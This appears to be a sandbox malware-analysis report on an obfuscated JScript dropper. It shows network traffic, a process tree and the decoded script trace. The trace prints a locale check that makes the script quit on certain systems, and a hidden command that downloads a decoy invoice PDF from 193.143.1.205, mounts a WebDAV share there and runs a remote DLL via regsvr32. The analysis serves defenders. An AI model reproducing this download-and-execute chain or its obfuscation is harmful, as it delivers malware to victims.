Jan 10, 2025 14:35:06.861279964 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 14:35:06.861290932 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 14:35:06.861304998 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 14:35:06.862093925 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 14:35:06.862107038 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 14:35:06.862119913 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 14:35:06.862131119 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 14:35:06.862142086 CET	552	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L
Jan 10, 2025 14:35:06.866982937 CET	1232	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	1264	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:35:08.769215107 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 14:35:09.590421915 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:35:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	08:35:02
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17772451271118687.js"
Imagebase:	0x7ff7f99a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:35:02
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll
Imagebase:	0x7ff777e30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:35:02
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:35:02
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:35:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	08:35:07
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff777e30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:35:07
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f9170000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:35:08
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:35:08
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	08:35:08
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1704,i,6202305562876439901,7278822292737129765,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function lamipbrjb() {	lamipbrjb() ➔ undefined
1	teant = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var bfpceowvi = this[igxpfix + exutozc + zxshmzjz + jkkvbgnom + wehegp + kqgnbw + vroamycbe + rxvmqmja] ( this[qkurt + lrpgl + pcqlf + zxshmzjz + hdypzjn + igxpfix + rxvmqmja][qtzqjhlpk + zxshmzjz + wehegp + exutozc + rxvmqmja + wehegp + zrhswhdhz + duvteq + cvxua + wehegp + pcqlf + rxvmqmja] ( qkurt + lrpgl + pcqlf + zxshmzjz + hdypzjn + igxpfix + rxvmqmja + vphcxvjmn + lrpgl + zotaqbe + wehegp + zhbfbpo + zhbfbpo ) [bbrmxtmn + wehegp + jjxng + bbrmxtmn + wehegp + exutozc + afzxqjkdj] ( xzume + utftqxj + oalub + fxvqpp + dyfbck + qtzqjhlpk + rtkfy + bbrmxtmn + bbrmxtmn + oalub + longytewz + hthfnwea + dyfbck + rtkfy + lrpgl + oalub + bbrmxtmn + jzruz + qtzqjhlpk + kxiwcvq + vroamycbe + rxvmqmja + zxshmzjz + kxiwcvq + zhbfbpo + updybvlu + qsitnpoq + exutozc + vroamycbe + wehegp + zhbfbpo + jzruz + kqgnbw + vroamycbe + rxvmqmja + wehegp + zxshmzjz + vroamycbe + exutozc + rxvmqmja + hdypzjn + kxiwcvq + vroamycbe + exutozc + zhbfbpo + jzruz + lfdng + kxiwcvq + pcqlf + exutozc + zhbfbpo + wehegp ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ffqnaeik = 0 ; ffqnaeik < teant[zhbfbpo + wehegp + vroamycbe + jjxng + rxvmqmja + zotaqbe] ; ++ ffqnaeik )
4	{
5	if ( bfpceowvi == teant[ffqnaeik] )
6	{
7	bfpceowvi = true;
8	break ;
9	}
10	}
11	if ( bfpceowvi !== true )
12	this[qkurt + lrpgl + pcqlf + zxshmzjz + hdypzjn + igxpfix + rxvmqmja][mvjxzgytf + vkimjn + hdypzjn + rxvmqmja] ( );
13	this[qkurt + lrpgl + pcqlf + zxshmzjz + hdypzjn + igxpfix + rxvmqmja][qtzqjhlpk + zxshmzjz + wehegp + exutozc + rxvmqmja + wehegp + zrhswhdhz + duvteq + cvxua + wehegp + pcqlf + rxvmqmja] ( qkurt + lrpgl + pcqlf + zxshmzjz + hdypzjn + igxpfix + rxvmqmja + vphcxvjmn + lrpgl + zotaqbe + wehegp + zhbfbpo + zhbfbpo ) [zxshmzjz + vkimjn + vroamycbe] ( pcqlf + ijxfxmkva + afzxqjkdj + updybvlu + mbgwjv + pcqlf + updybvlu + igxpfix + kxiwcvq + mseanbfsq + wehegp + zxshmzjz + jkkvbgnom + zotaqbe + wehegp + zhbfbpo + zhbfbpo + vphcxvjmn + wehegp + xswpjdlg + wehegp + updybvlu + kzsut + qtzqjhlpk + kxiwcvq + ijxfxmkva + ijxfxmkva + exutozc + vroamycbe + afzxqjkdj + updybvlu + pqnkm + kqgnbw + vroamycbe + psrmjkzlu + kxiwcvq + bbfcnjwec + wehegp + kzsut + qkurt + wehegp + duvteq + bbrmxtmn + wehegp + otdfyb + vkimjn + wehegp + jkkvbgnom + rxvmqmja + updybvlu + kzsut + zrhswhdhz + vkimjn + rxvmqmja + mrlbqqn + hdypzjn + zhbfbpo + wehegp + updybvlu + vrosjx + rxvmqmja + wehegp + ijxfxmkva + igxpfix + vrosjx + jzruz + hdypzjn + vroamycbe + psrmjkzlu + kxiwcvq + hdypzjn + pcqlf + wehegp + vphcxvjmn + igxpfix + afzxqjkdj + jvptgp + updybvlu + zotaqbe + rxvmqmja + rxvmqmja + igxpfix + ymmuvil + mbgwjv + mbgwjv + ktflzmpop + utinin + lvkodf + vphcxvjmn + ktflzmpop + drykaf + lvkodf + vphcxvjmn + ktflzmpop + vphcxvjmn + mhdiyl + nhroen + xonqv + mbgwjv + hdypzjn + vroamycbe + psrmjkzlu + kxiwcvq + hdypzjn + pcqlf + wehegp + vphcxvjmn + igxpfix + zotaqbe + igxpfix + pqnkm + bocinpgtx + bocinpgtx + jkkvbgnom + rxvmqmja + exutozc + zxshmzjz + rxvmqmja + updybvlu + vrosjx + rxvmqmja + wehegp + ijxfxmkva + igxpfix + vrosjx + jzruz + hdypzjn + vroamycbe + psrmjkzlu + kxiwcvq + hdypzjn + pcqlf + wehegp + vphcxvjmn + igxpfix + afzxqjkdj + jvptgp + bocinpgtx + bocinpgtx + pcqlf + ijxfxmkva + afzxqjkdj + updybvlu + mbgwjv + pcqlf + updybvlu + vroamycbe + wehegp + rxvmqmja + updybvlu + vkimjn + jkkvbgnom + wehegp + updybvlu + jzruz + jzruz + ktflzmpop + utinin + lvkodf + vphcxvjmn + ktflzmpop + drykaf + lvkodf + vphcxvjmn + ktflzmpop + vphcxvjmn + mhdiyl + nhroen + xonqv + wmqoqrir + muoxmsap + muoxmsap + muoxmsap + muoxmsap + jzruz + afzxqjkdj + exutozc + psrmjkzlu + mseanbfsq + mseanbfsq + mseanbfsq + zxshmzjz + kxiwcvq + kxiwcvq + rxvmqmja + jzruz + bocinpgtx + bocinpgtx + pcqlf + ijxfxmkva + afzxqjkdj + updybvlu + mbgwjv + pcqlf + updybvlu + zxshmzjz + wehegp + jjxng + jkkvbgnom + psrmjkzlu + zxshmzjz + lvkodf + mhdiyl + updybvlu + mbgwjv + jkkvbgnom + updybvlu + jzruz + jzruz + ktflzmpop + utinin + lvkodf + vphcxvjmn + ktflzmpop + drykaf + lvkodf + vphcxvjmn + ktflzmpop + vphcxvjmn + mhdiyl + nhroen + xonqv + wmqoqrir + muoxmsap + muoxmsap + muoxmsap + muoxmsap + jzruz + afzxqjkdj + exutozc + psrmjkzlu + mseanbfsq + mseanbfsq + mseanbfsq + zxshmzjz + kxiwcvq + kxiwcvq + rxvmqmja + jzruz + mhdiyl + utinin + jdaykhiw + drykaf + lvkodf + jdaykhiw + drykaf + ktflzmpop + jdaykhiw + ktflzmpop + ugzpsmm + ktflzmpop + utinin + drykaf + vphcxvjmn + afzxqjkdj + zhbfbpo + zhbfbpo, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll",0,false) ➔ 0
14	}
15	utinin = "e";
16	utinin = "L";
17	utinin = "u";
18	utinin = "G";
19	utinin = "c";
20	utinin = "v";
21	utinin = "E";
22	utinin = "I";
23	utinin = "p";
24	utinin = "S";
25	utinin = "W";
26	utinin = "d";
27	utinin = "W";
28	utinin = "a";
29	utinin = "u";
30	utinin = "U";
31	utinin = "R";
32	utinin = "w";
33	utinin = "T";
34	utinin = "x";
35	utinin = "H";
36	utinin = "H";
37	utinin = "D";
38	utinin = "R";
39	utinin = "c";
40	utinin = "g";
41	utinin = "l";
42	utinin = "D";
43	utinin = "X";
44	utinin = "D";
45	utinin = "a";
46	utinin = "B";
47	utinin = "9";
48	qkurt = "V";
49	qkurt = "E";
50	qkurt = "i";
51	qkurt = "p";
52	qkurt = "D";
53	qkurt = "O";
54	qkurt = "v";
55	qkurt = "Z";
56	qkurt = "C";
57	qkurt = "W";
58	ymmuvil = "l";
59	ymmuvil = "q";
60	ymmuvil = "O";
61	ymmuvil = "D";
62	ymmuvil = "H";
63	ymmuvil = "j";
64	ymmuvil = "b";
65	ymmuvil = "I";
66	ymmuvil = "j";
67	ymmuvil = "U";
68	ymmuvil = "c";
69	ymmuvil = "C";
70	ymmuvil = "G";
71	ymmuvil = "q";
72	ymmuvil = "V";
73	ymmuvil = "N";
74	ymmuvil = "n";
75	ymmuvil = "b";
76	ymmuvil = "p";
77	ymmuvil = "Z";
78	ymmuvil = "h";
79	ymmuvil = "z";
80	ymmuvil = "g";
81	ymmuvil = "y";
82	ymmuvil = "a";
83	ymmuvil = "n";
84	ymmuvil = "o";
85	ymmuvil = "M";
86	ymmuvil = "T";
87	ymmuvil = "S";
88	ymmuvil = "Y";
89	ymmuvil = "r";
90	ymmuvil = "l";
91	ymmuvil = "g";
92	ymmuvil = "H";
93	ymmuvil = ":";
94	mhdiyl = "Y";
95	mhdiyl = "O";
96	mhdiyl = "a";
97	mhdiyl = "R";
98	mhdiyl = "v";
99	mhdiyl = "n";
100	mhdiyl = "N";
101	mhdiyl = "z";
102	mhdiyl = "Z";
103	mhdiyl = "V";
104	mhdiyl = "T";
105	mhdiyl = "O";
106	mhdiyl = "s";
107	mhdiyl = "j";
108	mhdiyl = "L";
109	mhdiyl = "G";
110	mhdiyl = "l";
111	mhdiyl = "T";
112	mhdiyl = "2";
113	zhbfbpo = "z";
114	zhbfbpo = "k";
115	zhbfbpo = "l";
116	zhbfbpo = "N";
117	zhbfbpo = "B";
118	zhbfbpo = "c";
119	zhbfbpo = "L";
120	zhbfbpo = "c";
121	zhbfbpo = "b";
122	zhbfbpo = "i";
123	zhbfbpo = "M";
124	zhbfbpo = "z";
125	zhbfbpo = "O";
126	zhbfbpo = "O";
127	zhbfbpo = "y";
128	zhbfbpo = "X";
129	zhbfbpo = "Y";
130	zhbfbpo = "i";
131	zhbfbpo = "H";
132	zhbfbpo = "W";
133	zhbfbpo = "h";
134	zhbfbpo = "X";
135	zhbfbpo = "t";
136	zhbfbpo = "r";
137	zhbfbpo = "T";
138	zhbfbpo = "C";
139	zhbfbpo = "G";
140	zhbfbpo = "x";
141	zhbfbpo = "o";
142	zhbfbpo = "K";
143	zhbfbpo = "x";
144	zhbfbpo = "I";
145	zhbfbpo = "c";
146	zhbfbpo = "S";
147	zhbfbpo = "F";
148	zhbfbpo = "O";
149	zhbfbpo = "B";
150	zhbfbpo = "u";
151	zhbfbpo = "U";
152	zhbfbpo = "o";
153	zhbfbpo = "D";
154	zhbfbpo = "i";
155	zhbfbpo = "l";
156	lfdng = "H";
157	lfdng = "K";
158	lfdng = "L";
159	lfdng = "x";
160	lfdng = "O";
161	lfdng = "G";
162	lfdng = "k";
163	lfdng = "X";
164	lfdng = "e";
165	lfdng = "p";
166	lfdng = "b";
167	lfdng = "G";
168	lfdng = "C";
169	lfdng = "F";
170	lfdng = "u";
171	lfdng = "C";
172	lfdng = "q";
173	lfdng = "L";
174	kxiwcvq = "b";
175	kxiwcvq = "e";
176	kxiwcvq = "y";
177	kxiwcvq = "Y";
178	kxiwcvq = "a";
179	kxiwcvq = "I";
180	kxiwcvq = "m";
181	kxiwcvq = "D";
182	kxiwcvq = "o";
183	cvxua = "D";
184	cvxua = "j";
185	jdaykhiw = "t";
186	jdaykhiw = "r";
187	jdaykhiw = "g";
188	jdaykhiw = "h";
189	jdaykhiw = "K";
190	jdaykhiw = "F";
191	jdaykhiw = "e";
192	jdaykhiw = "O";
193	jdaykhiw = "b";
194	jdaykhiw = "H";
195	jdaykhiw = "D";
196	jdaykhiw = "c";
197	jdaykhiw = "W";
198	jdaykhiw = "x";
199	jdaykhiw = "F";
200	jdaykhiw = "X";
201	jdaykhiw = "t";
202	jdaykhiw = "k";
203	jdaykhiw = "W";
204	jdaykhiw = "t";
205	jdaykhiw = "t";
206	jdaykhiw = "w";
207	jdaykhiw = "o";
208	jdaykhiw = "I";
209	jdaykhiw = "f";
210	jdaykhiw = "J";
211	jdaykhiw = "s";
212	jdaykhiw = "x";
213	jdaykhiw = "i";
214	jdaykhiw = "C";
215	jdaykhiw = "D";
216	jdaykhiw = "m";
217	jdaykhiw = "N";
218	jdaykhiw = "X";
219	jdaykhiw = "S";
220	jdaykhiw = "6";
221	vphcxvjmn = "I";
222	vphcxvjmn = ".";
223	kqgnbw = "h";
224	kqgnbw = "s";
225	kqgnbw = "F";
226	kqgnbw = "O";
227	kqgnbw = "a";
228	kqgnbw = "s";
229	kqgnbw = "S";
230	kqgnbw = "V";
231	kqgnbw = "E";
232	kqgnbw = "f";
233	kqgnbw = "q";
234	kqgnbw = "E";
235	kqgnbw = "A";
236	kqgnbw = "o";
237	kqgnbw = "y";
238	kqgnbw = "x";
239	kqgnbw = "X";
240	kqgnbw = "e";
241	kqgnbw = "t";
242	kqgnbw = "M";
243	kqgnbw = "O";
244	kqgnbw = "T";
245	kqgnbw = "i";
246	kqgnbw = "c";
247	kqgnbw = "X";
248	kqgnbw = "I";
249	zrhswhdhz = "A";
250	zrhswhdhz = "H";
251	zrhswhdhz = "M";
252	zrhswhdhz = "b";
253	zrhswhdhz = "d";
254	zrhswhdhz = "K";
255	zrhswhdhz = "W";
256	zrhswhdhz = "v";
257	zrhswhdhz = "Q";
258	zrhswhdhz = "O";
259	zrhswhdhz = "P";
260	zrhswhdhz = "f";
261	zrhswhdhz = "N";
262	zrhswhdhz = "V";
263	zrhswhdhz = "t";
264	zrhswhdhz = "S";
265	zrhswhdhz = "b";
266	zrhswhdhz = "w";
267	zrhswhdhz = "a";
268	zrhswhdhz = "w";
269	zrhswhdhz = "H";
270	zrhswhdhz = "k";
271	zrhswhdhz = "q";
272	zrhswhdhz = "F";
273	zrhswhdhz = "l";
274	zrhswhdhz = "x";
275	zrhswhdhz = "Q";
276	zrhswhdhz = "s";
277	zrhswhdhz = "g";
278	zrhswhdhz = "p";
279	zrhswhdhz = "i";
280	zrhswhdhz = "p";
281	zrhswhdhz = "S";
282	zrhswhdhz = "Z";
283	zrhswhdhz = "d";
284	zrhswhdhz = "n";
285	zrhswhdhz = "x";
286	zrhswhdhz = "O";
287	zxshmzjz = "v";
288	zxshmzjz = "x";
289	zxshmzjz = "P";
290	zxshmzjz = "L";
291	zxshmzjz = "C";
292	zxshmzjz = "Q";
293	zxshmzjz = "X";
294	zxshmzjz = "M";
295	zxshmzjz = "I";
296	zxshmzjz = "m";
297	zxshmzjz = "Z";
298	zxshmzjz = "r";
299	qtzqjhlpk = "b";
300	qtzqjhlpk = "y";
301	qtzqjhlpk = "n";
302	qtzqjhlpk = "l";
303	qtzqjhlpk = "R";
304	qtzqjhlpk = "L";
305	qtzqjhlpk = "o";
306	qtzqjhlpk = "M";
307	qtzqjhlpk = "k";
308	qtzqjhlpk = "n";
309	qtzqjhlpk = "P";
310	qtzqjhlpk = "y";
311	qtzqjhlpk = "a";
312	qtzqjhlpk = "M";
313	qtzqjhlpk = "P";
314	qtzqjhlpk = "u";
315	qtzqjhlpk = "W";
316	qtzqjhlpk = "e";
317	qtzqjhlpk = "O";
318	qtzqjhlpk = "C";
319	lvkodf = "z";
320	lvkodf = "l";
321	lvkodf = "i";
322	lvkodf = "q";
323	lvkodf = "G";
324	lvkodf = "b";
325	lvkodf = "I";
326	lvkodf = "r";
327	lvkodf = "d";
328	lvkodf = "I";
329	lvkodf = "q";
330	lvkodf = "d";
331	lvkodf = "P";
332	lvkodf = "r";
333	lvkodf = "X";
334	lvkodf = "g";
335	lvkodf = "u";
336	lvkodf = "n";
337	lvkodf = "M";
338	lvkodf = "F";
339	lvkodf = "e";
340	lvkodf = "p";
341	lvkodf = "A";
342	lvkodf = "t";
343	lvkodf = "X";
344	lvkodf = "m";
345	lvkodf = "x";
346	lvkodf = "Y";
347	lvkodf = "T";
348	lvkodf = "S";
349	lvkodf = "w";
350	lvkodf = "m";
351	lvkodf = "H";
352	lvkodf = "v";
353	lvkodf = "Y";
354	lvkodf = "i";
355	lvkodf = "A";
356	lvkodf = "m";
357	lvkodf = "C";
358	lvkodf = "h";
359	lvkodf = "i";
360	lvkodf = "u";
361	lvkodf = "3";
362	drykaf = "H";
363	drykaf = "A";
364	drykaf = "N";
365	drykaf = "L";
366	drykaf = "u";
367	drykaf = "T";
368	drykaf = "x";
369	drykaf = "j";
370	drykaf = "a";
371	drykaf = "w";
372	drykaf = "s";
373	drykaf = "Q";
374	drykaf = "n";
375	drykaf = "f";
376	drykaf = "l";
377	drykaf = "R";
378	drykaf = "B";
379	drykaf = "g";
380	drykaf = "k";
381	drykaf = "N";
382	drykaf = "i";
383	drykaf = "4";
384	xswpjdlg = "m";
385	xswpjdlg = "j";
386	xswpjdlg = "D";
387	xswpjdlg = "D";
388	xswpjdlg = "v";
389	xswpjdlg = "c";
390	xswpjdlg = "a";
391	xswpjdlg = "w";
392	xswpjdlg = "V";
393	xswpjdlg = "t";
394	xswpjdlg = "T";
395	xswpjdlg = "g";
396	xswpjdlg = "R";
397	xswpjdlg = "x";
398	wehegp = "i";
399	wehegp = "i";
400	wehegp = "Q";
401	wehegp = "v";
402	wehegp = "N";
403	wehegp = "g";
404	wehegp = "m";
405	wehegp = "e";
406	wehegp = "D";
407	wehegp = "i";
408	wehegp = "C";
409	wehegp = "x";
410	wehegp = "G";
411	wehegp = "Q";
412	wehegp = "G";
413	wehegp = "o";
414	wehegp = "X";
415	wehegp = "a";
416	wehegp = "d";
417	wehegp = "Y";
418	wehegp = "w";
419	wehegp = "e";
420	zotaqbe = "K";
421	zotaqbe = "S";
422	zotaqbe = "K";
423	zotaqbe = "j";
424	zotaqbe = "j";
425	zotaqbe = "z";
426	zotaqbe = "Q";
427	zotaqbe = "l";
428	zotaqbe = "O";
429	zotaqbe = "r";
430	zotaqbe = "I";
431	zotaqbe = "X";
432	zotaqbe = "t";
